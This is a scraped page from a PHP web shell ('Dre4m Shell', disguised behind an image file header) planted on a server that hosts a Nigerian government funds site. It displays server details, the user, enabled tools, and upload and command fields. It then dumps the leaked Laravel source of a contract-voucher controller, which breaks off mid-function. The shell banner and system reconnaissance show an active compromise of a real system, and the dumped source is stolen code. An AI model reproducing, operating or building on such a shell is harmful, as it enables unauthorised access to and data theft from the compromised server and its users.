ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.119.106.28
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/CreateContractVoucherController11-6-19.php
<?php

namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers;
use Auth;
use Carbon\Carbon;
use Entrust;
use Session;
use Excel;
use Illuminate\Support\Facades\Input;
use DB;
use QrCode;
use Illuminate\Support\Facades\Crypt;


class CreateContractVoucherController extends function24Controller
{


public function setSes(Request $request)
{
  session::put('alloc',$request['id']);
  return response()->json('Successful');
}
    public function PrecreateContractVoucher(Request $request) 
    {
        
        $data['warning']        = '';
        $data['success']        = '';
        $data['error']      = '';
         $data['contracttypes']       = $this->getContractType();
         $data['contracttype']       = $request['contracttype'];
         $data['contractor']       = $request['contractor'];
         $data['fileno']       = $request['fileno'];
DB::table('tblcontractDetails')->where('ID', $request['hiddencontractid'])
				->update(['OC_staffId'    => $request['hiddenuserid'],]);
       
            $data['tablecontent']=$this->getTable3($request['contracttype'], $request['contractor'],$request['fileno']);
            foreach($data['tablecontent'] as $key => $value){
                $line = (array) $value;
                $line['contractBalance'] = $this->contractBalance($value->ID);
                $line['numofv'] = count(DB::table('tblpaymentTransaction')->where('contractID', $value->ID)->get());
                $line = (object) $line;
                $data['tablecontent'][$key] = $line;
            }
        $data['companyDetails'] = $this->getBeneficiary();
        $data['fileRefer'] = [];
        $data['fileNos']            = $this->getFileNos();
        $data['UnitStaff']=$this->UnitStaff('OC');
      
        return view('CreateContract.precreatecontract', $data);
    }
    
    
    public function createContractVoucher(Request $request) 
    {
        
        $data['warning']        = '';
        $data['success']        = '';
        $data['error']      = '';
         $data['contracttypes']       = $this->getContractType();
         $data['contracttype']       = $request['contracttype'];
         $data['contractor']       = $request['contractor'];
         $data['fileno']       = $request['fileno'];
         //die($data['fileno']);
       
            $data['tablecontent']=$this->AllocationVoucher(auth::user()->id);
            foreach($data['tablecontent'] as $key => $value){
                $line = (array) $value;
                $line['contractBalance'] = $this->contractBalance($value->ID);
                $line['numofv'] = count(DB::table('tblpaymentTransaction')->where('contractID', $value->ID)->get());
                $line = (object) $line;
                $data['tablecontent'][$key] = $line;
            }
        $data['companyDetails'] = $this->getBeneficiary();
        $data['fileRefer'] = [];
        $data['fileNos']            = $this->getFileNos();
        $data['UnitStaff']=$this->UnitStaff('OC');
      
        return view('CreateContract.createcontract', $data);
    }
    
    
    //create Edit
     public function edit($id = "")
     {
		$data['paymentTransactionID'] = $id;
		$data['warning'] = '';
		$data['success'] = '';
		$data['error'] = '';
		$data['fileReferID'] = '';
		$fields = DB::table('tblpaymentTransaction')
            ->where('tblpaymentTransaction.ID','=', $id)
			->where('tblpaymentTransaction.vstage','<=', 1)
            ->leftjoin('tblcontractDetails', 'tblpaymentTransaction.contractID', '=', 'tblcontractDetails.ID')          
            ->select('tblpaymentTransaction.*', 'tblcontractDetails.payee_address', 'tblcontractDetails.contract_Type', 'tblcontractDetails.fileNo') 
            ->first();
			
			if($fields)
			{
    			$conid= $fields->contractID;
    			$data['contractID'] = $conid;
    			$status= $fields->vstage;
    			$vvalue= $fields->totalPayment;
    			$data['fileReferID'] = $fields->file_referID;
			}else{ 
			    return redirect()->back()->with('err', 'Record not found !!!');
			    
			}
			
    		$data['contractDetails'] = $fields->contractID;
    		$data['selectedid']=$fields->ID;
    		$com = DB::table('tblcomments')
                ->where('affectedID', $fields->contractID)
                ->orderby('id', 'asc')
                ->select('tblcomments.comment', 'tblcomments.username', 'tblcomments.added')
                ->get();
            $data['reasons'] = "";
            
            if($com)
            {
                foreach($com as $k => $list)
                {
                    $newline = (array) $list;
                    $name = DB::table('users')->where('username', $list->username)->first()->name;
                    $newline['name'] = $name;
                    $date = strtotime($list->added);
                    $newline['comment'] = str_replace("\r\n", "<br>", $list->comment);
                    $newline['date_added'] = date("F j, Y", $date);
                    $newline['time'] = date("g:i a", $date);
                    $newline = (object) $newline;
                    $com[$k] = $newline;
                }
                $data['reasons'] = json_encode($com);     
            }
        $data['selectedid'] = $fields->ID;
    		$com = DB::table('tblcomments')
                ->where('affectedID', $fields->contractID)
                ->orderby('id', 'asc')->select('tblcomments.comment', 'tblcomments.username', 'tblcomments.added')->get();
            $data['reasons'] = "";
            
		$request['fileno']                  = $fields->fileNo;
		$request['contracttype']            = $fields->contract_Type;
		$request['companyid']               = $fields->companyID;
		$request['contractoredit']          = $fields->companyID;
		$request['allocationtype']      = $fields->allocationType;
		$request['economicCode']        = $fields->economicCodeID;
		$request['amount']              = $fields->totalPayment;
		$request['vatselect']           = $fields->VAT;
		$request['whtOrTax']            = $fields->WHT;
		$request['vat']                 = $fields->VATValue;
		$request['wht']                 = $fields->WHTValue;
		$request['amtpayable']          = $fields->amtPayable;
		$request['whtPayeeID']          = $fields->WHTPayeeID;
		$request['vatPayeeID']          = $fields->VATPayeeID;
		$request['narration']           = $fields->paymentDescription;
		$request['pvno']                = $fields->PVNO;
		$request['todayDate']           = $fields->datePrepared;
		$data['payeeAddress']          = $fields->payee_address;
		
		$data['allocationtype']             = $request['allocationtype']; 
		$data['economicCode']               = $request['economicCode'];
		$data['economicName']               = DB::table('tbleconomicCode')->where('ID', $data['economicCode'])->value('description');
		$data['amount']                     = $request['amount'] - 	($request['vat']);
		$data['vatselect']                  = $request['vatselect'];
		$data['whtOrTax']                   = $request['whtOrTax'];
		$data['vat']                        = $request['vat'];
		$data['wht']                        = $request['wht'];
		$data['amtpayable']                 = $request['amtpayable'];
		$data['whtPayeeID']                 = $request['whtPayeeID'];
		$data['vatPayeeID']                 = $request['vatPayeeID'];
		$data['narration']                  = $request['narration'];
		$data['pvno']                       = $request['pvno'];
		$data['todayDate']                  = $request['todayDate'];
		$data['fileno']                     = $request['fileno'];
		$data['contracttype']               = $request['contracttype'];
		$data['contractoredit']             = $request['contractoredit'];
		$data['allocationlist']             = $this->getAllocation();
		$data['econocode']                  = DB::table('tbleconomicCode')->where('contractGroupID', $fields->contractTypeID)->get(); //$this->getEconomicCode($data['allocationtype'], $data['contracttype']);
		$data['staticcontr']                = ($fields->contract_Type) ? DB::table('tblcontractType')->where('ID', $fields->contract_Type)->select('ID', 'contractType')->first() : (object) array('contractType' => "");
        $request['selectedid']              = $data['selectedid']; 
        
        $details = DB::table('tblcontractDetails')
            ->leftjoin('tblpaymentTransaction', 'tblpaymentTransaction.contractID', '=', 'tblcontractDetails.ID')
    		->leftjoin('tblcontractType', 'tblcontractDetails.contract_Type', '=', 'tblcontractType.ID')
    		->leftjoin('tblcontractor', 'tblcontractDetails.companyID', '=', 'tblcontractor.id')
    		->where('tblcontractDetails.ID', $fields->contractID)
    		->first();

        if($details and $details->companyID==13)
        {
            $data['contractor']     = ($details ? $details->beneficiary : '');
        }else{
        	$data['contractor']     = ($details ? $details->contractor : '');
		}
        $data['companyid']          = ($details ? $details->id : '');
		$data['totalsumamount']     = ($request['selectedid'] != "") ? $this->ContractBalance($request['selectedid']) : "";
		$data['vatwhttable']       = DB::table('tblVATWHTPayee')->orderBy('payee', 'Asc')->get();
		
		Switch($status)
		{
    		case 0;
    			$data['BB']=$this->ContractBalance($conid);
    		break;
    		default:
    		    $data['BB']=$this->ContractBalance($conid)+$vvalue;
		}
		$data['fileattach']=$this->ContractAttachment($fields->contractID);
		
		//Contract List
		$data['companyDetails']   = $this->getContractorDetails();
		
		//Department Name
		$data['fileRefer'] = DB::table('tbldepartment_fileno')
	    	->orderby('tbldepartment_fileno.filerefer', 'Asc')
	    	->get();
        //
		return view('CreateContract.edit', $data);

    }//end class
    
    
    
    //post edit
    public function postEdit(Request $request)
    {
        //Start Validation
        $this->validate($request, [
            //'contracttype'          => 'required',
            //'companyid'             => 'required',
            'amount'                => 'required',
            'narration'             => 'required',
            'amtpayable'            => 'required',
            //'vatPayeeID'            => 'required_unless:vatselect,0',
            //'whtPayeeID'            => 'required_unless:whtOrTax,0',
            'allocationtype'        => 'required',
            'economicCode'          => 'required',
            'todayDate'             => 'required',
            'voucherId'             => 'required',
            'beneficiaryName'       => 'required',
            'contractDetails'       => 'required',
            
        ], [], [
            //'contracttype'          => 'Contract Type',
            //'companyid'             => 'Contractor name',
            'amount'                => 'Total Contract Value',
            'paymentdesc'           => 'Payment Description',
            //'vat'                   => 'Value Added Tax',
            //'vatselect'             => 'Selected Vat Percent',
            //'whtOrTax'              => 'Selected Wht Percent',
            //'tax'                   => 'Withheld Tax',
            //'vatPayeeID'            => 'VAT Payee',
            //'whtPayeeID'            => 'WHT Payee',
            'amtpayable'            => 'Amount Payable',
            'allocationtype'        => 'Allocation Type',
            'economiccode'          => 'Economic Code',
            'todayDate'             => 'Date Prepared',
            'voucherId'             => 'Voucher Transaction Unique ID not found',
            'beneficiaryName'      => 'You have not set or enter beneficiary to this voucher',
            'contractDetails'       => 'One of the vital parameter of this voucher not found'
        ]);

        //start computing variables and update
        if(is_numeric($request['companyid']) and $request['companyid'] <> 13)
		{
		     $this->validate($request, [
                    'companyid'     => 'required',
             ]);
             
			$deno                   = ($request['vatselect']) + 100;
			$vat1                   = ((($request['vatselect'] / 100) * $request['amount']));
			$tax1                   = ((($request['whtOrTax'] / 100 ) * $request['amount']));
			$request['vat']         = str_replace(',', '', (number_format($vat1, 2))); 
			$request['wht']         = str_replace(',', '', (number_format($tax1, 2)));
			$request['amount'] = str_replace(',', '', (number_format($request['amount'], 2)));
			$request['amtpayable']  = (($request['amount'] - ($request['wht'] ))); //$request['amount'] - (   $request['vat']  +  $request['wht'] );
		    
		    
			 //Update Contrator Voucher 
			if(DB::table('tblpaymentTransaction')->where('ID', $request['voucherId'])->first())
			{
			    $updateIsSuccess = DB::table('tblpaymentTransaction')->where('ID', $request['voucherId'])->update([
					'totalPayment'          => $request['amount'] + $vat1,
					'paymentDescription'    => $request['narration'],
					'VAT'                   => $request['vatselect'],
					'VATValue'              => $vat1, //$request['vat'],
					'WHT'                   => $request['whtOrTax'],
					'WHTValue'              => $tax1, //$request['wht'],
					'VATPayeeID'            => $request['vatPayeeID'],
					'WHTPayeeID'            => $request['whtPayeeID'],
					'amtPayable'            => $request['amtpayable'],
					//'preparedBy'            => Auth::user()->username,
					'liabilityBy'           => "",
					'allocationType'        => $request['allocationtype'],
					'economicCodeID'        => $request['economicCode'],
					'datePrepared'          => $request['todayDate'],
					'status'                => 0,
                    'vstage'                => 1,
                    'cpo_payment'           => 0,
					'period'                => $this->ActivePeriod(),
					'file_referID'          => $request['fileno'],
					'companyID'            => $request['beneficiaryName'],
				]);
				$getContractor = DB::table('tblcontractor')->where('id', $request['beneficiaryName'])->select('contractor', 'address')->first();
				//Contract Details
    			($updateIsSuccess ? (DB::table('tblcontractDetails')->where('ID', $request['contractDetails'])->update([ 'contractValue' => $request['amount'] + $vat1,  'beneficiary' => $getContractor->contractor, 'payee_address' => $getContractor->address ]))  : null);

			}else{
				$data['error'] = "Sorry, we cannot edit this voucher now! Please try again later.";
			}
			return redirect('display/voucher/' . $request['voucherId']);
		}else{
		        //Update Staff Voucher 
		         $this->validate($request, [
                    'payeeAddress'     => 'required',
                ]);
    			
    			if(DB::table('tblpaymentTransaction')->where('ID', $request['voucherId'])->first())
    			{
    			    $updateIsSuccess = DB::table('tblpaymentTransaction')->where('ID', $request['voucherId'])->update([
    					'totalPayment'          => $request['amount'],
    					'paymentDescription'    => $request['narration'],
    					'amtPayable'            => $request['amtpayable'],
    					//'preparedBy'            => Auth::user()->username,
    					'allocationType'        => $request['allocationtype'],
    					'economicCodeID'        => $request['economicCode'],
    					'datePrepared'          => $request['todayDate'],
    					'status'                => 0,
                        'vstage'                => 1,
                        'cpo_payment'           => 0,
    					'period'                => $this->ActivePeriod(),
    					'file_referID'          => $request['fileno'],
    					
    				]);
    			    //Contract Details
    				($updateIsSuccess ? (DB::table('tblcontractDetails')->where('ID', $request['contractDetails'])->update([ 'contractValue' => $request['amount'], 'beneficiary' =>$request['beneficiaryName'], 'payee_address' => $request['payeeAddress'] ]))  : '');

    				} else {
    					$data['error'] = "Whoops something went wrong!";
    				}
    			    return redirect('display/voucher/' . $request['voucherId']);
    			}
			
    }//end function
    
    
    
    public function continu(Request $request, $selectedid = "", $ctype = "")
    {
    
        
 if($request['todayDate']==''){$request['todayDate']=date('Y-m-d');}
    
    $data['warning']        = '';
        $data['success']        = '';
        $data['error'] = "";
		
        if($selectedid == ""){
            $data['error'] = "Go back and select a contract";
            return redirect('/create/contract');
        }
		$request['selectedid'] = decrypt($selectedid);
		$rawConDetails= $this->ContractDetails($request['selectedid']);
        if(!$rawConDetails){
            $data['error'] = "Go back and select a valid contract";
            return redirect('/create/contract');
        }
            //Get Voucher Details
        	$data['getVoucherDetails']  = DB::table('tblpaymentTransaction')
	    		->leftjoin('tblcontractDetails','tblcontractDetails.ID','=','tblpaymentTransaction.contractID')
	    		->leftjoin('tblcontractor','tblcontractor.id','=','tblpaymentTransaction.companyID')
				->Join('tbleconomicCode','tbleconomicCode.ID','=','tblpaymentTransaction.economicCodeID')
				->Join('tbleconomicHead','tbleconomicHead.ID','=','tbleconomicCode.economicHeadID')
				->Join('tblcontractType','tblcontractType.ID','=','tblpaymentTransaction.contractTypeID')
				->where('tblpaymentTransaction.contractID', '=', $request['selectedid'])
				->leftjoin('voucher_type', 'voucher_type.vouchertypeID', '=', 'tblpaymentTransaction.voucher_type_deptID')
				->select('*', 'tbleconomicCode.economicCode', 'tbleconomicCode.ID as economicodeID', 'tbleconomicCode.description as economicName', 'tblpaymentTransaction.ID as transID', 'tblpaymentTransaction.status as payStatus','tblcontractType.contractType as ecoHead', 'tblcontractDetails.companyID as companyIDContractD', 'tblcontractDetails.beneficiary as beneficiaryContractD')
				->first();
        		if(!$data['getVoucherDetails']){
        		       return redirect()->back();
        		}
		    //////////////
		    
		    
        if( isset( $_POST['attach'] )){
		$this->validate($request, [
		'attachcaption' => 'required'
		,'filex'      	=> 'required'
		]);
		
		$fid = DB::table('tblcontractfile')
		->insertGetId([
			'file_desc'            => $request['attachcaption'],
			'contractid'         => $request['selectedid'],
			'createdby'        => Auth::user()->username,                       
		]);
		
		$image =  $request->file('filex');
		$imagename = $id.'_'.$fid.'_'.$image->getClientOriginalName();
		$upload_path = env('UPLOAD_PATH', '');
		$destinationPath = base_path('../').'/'.$upload_path;
		//die($destinationPath );
		$image->move($destinationPath, $imagename);
		DB::table('tblcontractfile')->where('id', $fid )
				->update(['filename' => $imagename]);
		}
		$data['fileattach']=$this->ContractAttachment($request['selectedid']);
		
	if ($request['amtpayable']==''){$request['amtpayable']=$this->ContractBalance($request['selectedid']);}		
		$data['ecogroup']=$rawConDetails->contract_Type;
		$data['FileNo']=$rawConDetails->fileNo;
		$data['ecogrouptext']=$rawConDetails->EcoGroup;
		$data['contractID']=$rawConDetails->ID;
    $data['selected'] = decrypt($selectedid);
    
    
    $request['contracttype2'] = $ctype;
    $data['getBalance2'] = $request['amount'];
    //$data['getBal'] = $request->old('name');
        
        $data['econocode']      	= [];
        $data['contractorList']     	= [];
        $data['economiccode']   	= $request['economicCode'];
        $data['alloc']      		= $request['allocationtype'];
        $data['allocationlist']     	= $this->getAllocation();
        $ttall=$request['allocationtype1'];
        if($ttall==''){$request['allocationtype1']=$request->old('allocationtype1');}
        $data['econocode'] 		= $this->getEconomicCode($request['allocationtype1'], $request['contracttype2']);
        
        $data['contr']      		= $request['contracttype'];
        $data['staticcontr']    	= ($request['contracttype2']) ? DB::table('tblcontractType')->where('ID', $request['contracttype2'])->select('ID', 'contractType')->first() : (object) array('contractType' => "");
        $data['pstatus']        	= $request['pstatus'];
        $data['fileno']     		= $request['fileno'];
        $data['ct']         		= $request['contractor'];
        $data['contr5']         	= $request['contracttype2'];
        $data['alloc1']         	= $request['allocationtype1'];
        $data['economiccode1']  	= $request['economicCode1'];
        $data['oldbalanceinform']   	= $request['amount'];
        $data['sel_id']         	= "";
        $data['file_ex']        	= "";




        $data['econocode2']         = [];
        $data['contractorList']         = [];
        $data['economiccode2']      = $request['sececonomicCode'];
        $data['alloc2']             = $request['secallocationtype'];
        $data['allocationlist2']        = $this->getAllocation();
        $data['contr2']             = $request['seccontracttype'];
        $data['contractlist']       = $this->getContract();
        $data['contractlist2']      = $this->getContract();
        $data['fileNos']            = $this->getFileNos();
        $data['tablecontent']       = [];
        $data['contractor']         = "";
        $data['companyidhid']       = "";
        $data['paymentdesc']        = "";
        $data['vatwhttable']        = DB::table('tblVATWHTPayee')->orderBy('payee', 'Asc')->get();
        $data['vatpayee']           = $request['vatPayee'];
        $data['whtpayee']           = $request['whtPayee'];
        $data['liabilityby']        = DB::table('users')->get();
        
        //for different stuff
                $data['vatpas']             = $request['vatselect'];
                $data['vatselect']             = $request['vatselect'];
            $data['vatvas']         = $request['vat'];
            $data['whtpas']         = $request['whtOrTax'];
            $data['whtOrTax']         = $request['whtOrTax'];
            $data['whtvas']         = $request['tax'];
            $data['amtpayble']      = $request['amtpayable'];
            $data['narration']      = $request['narration'];
            //$data['pvnoas']         = $request['pvno'];
            $data['liabilityByas']  = $request['liabilityBy'];
            $data['todayDateas']    = $request['todayDate'];
            $data['vatpayeeas']     = $request['vatPayeeID'];
            $data['whtpayeeas']     = $request['whtPayeeID'];
            $data['vatPayeeID']     = $request['vatPayeeID'];
            $data['whtPayeeID']     = $request['whtPayeeID'];
            $data['vatpaddas']      = $request['vatPayeeAddress'];
            $data['whtpaddas']      = $request['whtPayeeAddress'];
            $data['filenoas']       = $request['fileno'];
            
            //end of different stuff

        
        $data['currentuser'] = Auth::user()->username;
        
        
        $data['econocode'] = $this->getEconomicCode($request['allocationtype1'], $request['contracttype2']);
        $data['econocode2'] = $this->getEconomicCode($request['secallocationtype'], $request['contracttype2']);
        
       // dd($request['allocationtype1']);
       $data['instructions'] = "";

        $data['getBalance'] = round(($request['selectedid'] != "") ? $this->ContractBalance($request['selectedid']) : "0",2);
        $data['alloc3'] = "";
        $data['economicCode_as'] = "";
        $data['econ3'] = "";
        

      
            $details = $this->getInfo($request['selectedid']);
            if($details->companyID==13){
            $data['contractor']     = $details->beneficiary;
            }
            else{ 
            $data['contractor']     = $details->contractor;
            }
            $data['companyidhid']   = $details->id;
            $data['paymentdesc']    = $details->ContractDescriptions;
            $data['filenoas']   = $details->fileNo;
            $data['economicCode_as']    = $details->economicVoult;
            //dd($data['economicCode_as']);
            if($data['economicCode_as'] != ""){
            
                $vll = DB::table('tbleconomicCode')->where('ID', $data['economicCode_as'])->first();
                if($vll){
                $data['alloc5'] = $vll->allocationID;
                $data['alloc3'] = DB::Table('tblallocation_type')->where('ID', $vll->allocationID)->first()->allocation;
                $data['econ3'] = '(' . $vll->economicCode .') ' . $vll->description;}
                else{$data['economicCode_as']='';}
            }
            
            $data['instructions'] = "";
            //dd($request['selectedid']);
            $com    = DB::table('tblcomments')->where('affectedID', $request['selectedid'])->select('tblcomments.comment', 'tblcomments.username', 'tblcomments.added')->orderby('id', 'asc')->get();

            if($com){
                
                foreach($com as $k => $list){
                    $newline = (array) $list;
                    $name = DB::table('users')->where('username', $list->username)->first()->name;
                    $newline['name'] = $name;
                    $date = strtotime($list->added);
			$newline['comment'] = str_replace("\r\n", "<br>", $list->comment);
                    $newline['date_added'] = date("F j, Y", $date);
                    $newline['time'] = date("g:i a", $date);
                    $newline = (object) $newline;
                    $com[$k] = $newline;
                }
                //dd($com);
                $data['instructions'] = json_encode($com);                  
            }
            $data['instructions1'] = '';
		$com2 = DB::table('contract_comment')->where('fileNoID', $rawConDetails->fileNo)->orderby('commentID', 'asc')->get();
	        if($com2){
	        	
	        	foreach($com2 as $k => $list){
        		$newline = (array) [];
        		$name = DB::table('users')->where('id', $list->userID)->first()->name;
        		$newline['name'] = $name;
				$newline['comment'] = str_replace("\r\n", "<br>", $list->comment);
        		$date = strtotime($list->date);
        		$newline['date_added'] = date("F j, Y", $date);
        		$newline['time'] = date("g:i a", $date);
        		$newline = (object) $newline;
        		$com2[$k] = $newline;
	        	}
	        	 $data['instructions1'] = json_encode($com2);	
	        } 
            
            $data['sel_id'] = $request['selectedid'];
            $data['file_ex'] = $details->file_ex;
        

        
            
        $data['selectedid'] = $request['selectedid'];
        $data['companyid']  = $request['companyid'];
        $data['getBalanceas'] = $request['amount'];
        $oldloctype = $request['allocationtype1'];
           
           session::put('alloc',$oldloctype);
       
        
        
        //ll
        //ll
        if($request['finalsubmit'] == "complete"){
        
        
        
            //fully submitted form
            $data['allocationlist']     	= $this->getAllocation();
          
           $oldloctype = $request['allocationtype1'];
           
           session::put('alloc',$oldloctype);
            $tblcontracttype    = $request['contracttype2'];
            $tblcontractid      = $request['selectedid'];
            $tblcompanyid       = $request['companyid'];
            $tbltotalpayment    = $request['amount'];
            $tblpaymentDesc     = $request['paymentdesc'];
            //$pvno               = $request['pvno'];
            $vat                = $request['vat'];
            $vatperc            = $request['vatselect'];
            $whtselect          = $request['whtOrTax'];
            $wht                = $request['tax'];
            $tblamtPayable      = $request['amtpayable'];
            $tblprepareby       = $request['preparedBy'];
            $tblvatpayeeid      = $request['vatPayeeID'];
            $tblwhtpayeeid      = $request['whtPayeeID'];
            $liabilityby        = $request['liabilityBy'];
            $allocationtype     = $request['allocationtype1'];
            $economiccodeid     = $request['economicCode1'];
            $dateprepared       = $request['todayDate'];
            $totalamount        = $request['totalamount'];
            $narration      = $request['narration'];
            
            

            //$data['getBalance']     = (int)$request['amount'];
            $data['vatpas'] = $request['vatselect'];
             $data['vatselect']     = $request['vatselect'];
            $data['vatvas'] = $request['vat'];
            $data['whtpas'] = $request['whtOrTax'];
            $data['whtOrTax'] = $request['whtOrTax'];
            
            $data['whtvas'] = $request['tax'];
		if ($request['amtpayable']==''){
		    $request['amtpayable']=$this->ContractBalance($request['selectedid']);}
		
            $data['amtpayble'] = (int)$request['amtpayable'];
			 
            $data['narration'] = $request['narration'];
            $data['pvnoas'] = $request['pvno'];
            $data['liabilityByas'] = $request['liabilityBy'];
            $data['todayDateas'] = $request['todayDate'];
            $data['vatpayeeas'] = $request['vatPayeeID'];
            $data['whtpayeeas'] = $request['whtPayeeID'];
            $data['vatPayeeID']     = $request['vatPayeeID'];
            $data['whtPayeeID']     = $request['whtPayeeID'];
            $data['vatpaddas'] = $request['vatPayeeAddress'];
            $data['whtpaddas'] = $request['whtPayeeAddress'];
            $data['filenoas'] = $request['filenoas'];
            $data['getBalanceas'] = $request['amount'];
            $request['economiccodeid']=$economiccodeid;
            //$p = "voucher/continu/{$selectedid/$ctype}";
            //
           $validating = $this->validate($request, [
           	'allocationtype1'       => 'required',
                //'pvno'              	=> 'required',
                'totalamount'           => 'required',
                'narration'             => 'required',
                'amtpayable'            => 'required',
                'preparedBy'            => 'required',
                'vatPayeeID'            => 'required_unless:vatselect,0',
                'whtPayeeID'            => 'required_unless:whtOrTax,0',
                'economiccodeid'         => 'required',
                'todayDate'         	=> 'required'

            ],[], [

                //'pvno'                  => 'P V N O',
                'allocationtype1'       => 'Allocation type',
                'totalamount'           => 'Total Contract Value',
                'narration'             => 'Payment Description',
                'vat'               	=> 'Value Added Tax',
                'vatselect'         	=> 'Selected Vat Percent',
                'whtOrTax'          	=> 'Selected Wht Percent',
                'tax'              	=> 'Withheld Tax',
                'vatPayeeID'            => 'VAT Payee',
                'whtPayeeID'            => 'WHT Payee',
                'amtpayable'            => 'Amount Payable',
                'economiccodeid'         => 'Economic code',
                'todayDate'         	=> 'Date Prepared'                  
                    
            ]);
            
            
         
            
            //$tblvatpayeeid = ($request['vatPayeeID'] == "") ? 0 : "0";
            //$tblwhtpayeeid = ($request['whtPayeeID'] == "") ? 0 : "0";
            if($request['vatPayeeID'] == ""){$request['vatPayeeID']=0;}
            if($request['whtPayeeID'] == ""){$request['whtPayeeID']=0;}
            
            //dd($request['vatPayeeID']."   ".$request['whtPayeeID']);
            $data['getBalance2'] = $request['amount'];
//if(!DB::Table('tblpaymentTransaction')->where('PVNO', $pvno)->get()){
                     //$tblamtPayable='';
                     	$deno= ($vatperc)+100;
			  $vat1 = ($vatperc/$deno) * $tbltotalpayment;
			  $mockval=$tbltotalpayment-$vat1;
			  $tax1 = ( $whtselect/ 100 ) * $mockval;
			  $vat=round($vat1,2); 
			  $wht=round($tax1,2); 
			  $tblamtPayable =  $tbltotalpayment - (   $vat  +  $wht ) ;
                        if($vid = DB::table('tblpaymentTransaction')
                                 ->insertGetId([
                                    'contractTypeID'        => $data['ecogroup'],
                                    'contractID'            => $tblcontractid,
                                    'companyID'             => $tblcompanyid,
                                    'FileNo'                => $data['FileNo'] == null ? DB::table('tblpaymentTransaction')->where('contractID', $tblcontractid)->value('FileNo'):$data['FileNo'],
                                   // 'PVNO'                => $pvno,
                                    'totalPayment'          => $tbltotalpayment,
                                    'paymentDescription'    => $narration,
                                    'VAT'                   => $vatperc,
                                    'VATValue'              => $vat,
                                    'WHT'                   => $whtselect,
                                    'WHTValue'              => $wht,
                                    'VATPayeeID'            => $request['vatPayeeID'], //$tblvatpayeeid, //
                                    'WHTPayeeID'            => $request['whtPayeeID'], //$tblwhtpayeeid, //
                                    'amtPayable'            => $tblamtPayable,
                                    'preparedBy'            => Auth::user()->id,//$tblprepareby,
                                    'allocationType'        => $allocationtype,
                                    'economicCodeID'        => $economiccodeid,
                                    'status'                => 0,
                                    'vstage'                => 1,
                                     'cpo_payment'          => 0,
                                    'datePrepared'          => $dateprepared,
                                    'period'                => $this->ActivePeriod(),
                                    'file_referID'          => DB::table('tblpaymentTransaction')->where('contractID', $tblcontractid)->value('file_referID') ,
                                    'department_voucher'    => strtoupper($this->getUserRole()->rolename),
                                    'voucher_type_dept'     => null, 
                                    'voucher_type_deptID'   => 0,
                                    'retire_voucher'  		=> 0,
                            ]))
                            
                            
                        {
                                
                                    if(DB::table('tblcontractDetails')->where('ID', $tblcontractid)->first()->paymentStatus == "")
                                    {
                                        DB::table('tblcontractDetails')->where('ID', $tblcontractid)->update([
                                            'paymentStatus' => 0
                                        ]);
                                    }
                                    if(DB::table('tblcontractDetails')->where('ID', $tblcontractid)->first()->economicVoult == "")
                                    {
                                        DB::table('tblcontractDetails')->where('ID', $tblcontractid)->update([
                                            'economicVoult' => $economiccodeid
                                        ]);
                                    }
                                    DB::table('tblcontractDetails')->where('ID', $tblcontractid)->update([
                                            'openclose' => 0
                                    ]); 
                                    return redirect('display/voucher/'.$vid);
                        } else {
                                    //$data['error'] = "Something went wrong";
                                    return back()->with('error','Something went wrong');

                        }
                            			
                        if($this->VoultBalance($economiccodeid) > $tblamtPayable)
                        {
                            //dd($request['totalamount']);
                            $gross = $data['getBalance'];
                            if($gross < $request['amount'])
                            {
                                //$data['error'] = "Gross amount cannot be greater than Total Sum (Contract Value)!";
                                return back()->with('error','Gross amount cannot be greater than Total Sum (Contract Value)!');
                            } else{
                                //....
                            }
                        } 
                }
                //Die("here");
                        $data['companyDetails'] = $this->getBeneficiary();
                        $data['fileRefer'] = [];
                        	$data['allocationlist']     	= $this->getAllocation();
                        	$data['econocode'] 		= $this->getEconomicCode($request['allocationtype1'], $request['contracttype2']);
                        	//dd(strtoupper($this->getUserRole()->rolename));
                        	$ctypecode=4;
                        	if(strtoupper($this->getUserRole()->rolename)=="RECURRENT")$ctypecode=1;
                        	
                        	$data['ECONOMAIN'] = $this->getDepartmentEconomicCode($ctypecode);  //$this->getEconomicCode(session('alloc'), $data['ecogroup']);
                			$data['econocode2'] = $this->getEconomicCode($request['secallocationtype'],$data['ecogroup']);
		
		$data['fileRefer'] 	  =  DB::table('tbldepartment_fileno')
	    	->where('tbldepartment_fileno.account_type', strtoupper($this->getUserRole()->rolename))
	    	->orderby('tbldepartment_fileno.filerefer', 'Asc')
	    	->get();
            return view('CreateContract.continue', $data);
        }
    
    
     //Get all economic codes
     public function getDepartmentEconomicCode($contractType){
         if($contractType == 1)
         {
            $economicCode= DB::table('tbleconomicCode')
                ->join('tbleconomicHead', 'tbleconomicHead.ID','=','tbleconomicCode.economicHeadID')
                ->leftjoin('tblcontractType', 'tblcontractType.ID','=','tbleconomicCode.contractGroupID')
                ->where('tbleconomicCode.status', 1)
                ->where('tblcontractType.ID', $contractType)
                ->orwhere('tbleconomicCode.contractGroupID', 6)
                ->select('*', 'tbleconomicCode.ID as economicID', 'tbleconomicCode.description as economicName' )
                ->orderby('tbleconomicCode.economicCode', 'Asc')
                ->get();
         }else{
            $economicCode= DB::table('tbleconomicCode')
                ->join('tbleconomicHead', 'tbleconomicHead.ID','=','tbleconomicCode.economicHeadID')
                ->leftjoin('tblcontractType', 'tblcontractType.ID','=','tbleconomicCode.contractGroupID')
                ->where('tbleconomicCode.status', 1)
                ->where('tblcontractType.ID', $contractType)
                ->select('*', 'tbleconomicCode.ID as economicID', 'tbleconomicCode.description as economicName' )
                ->orderby('tbleconomicCode.economicCode', 'Asc')
                ->get();
         }
        
        return $economicCode;
    }
    
    
    //Get Contract Details
    public function getContractorDetails(){
        $contractorDetails = DB::table('tblcontractor')
            ->where('tblcontractor.status', 1)
            ->where('tblcontractor.type', 1)
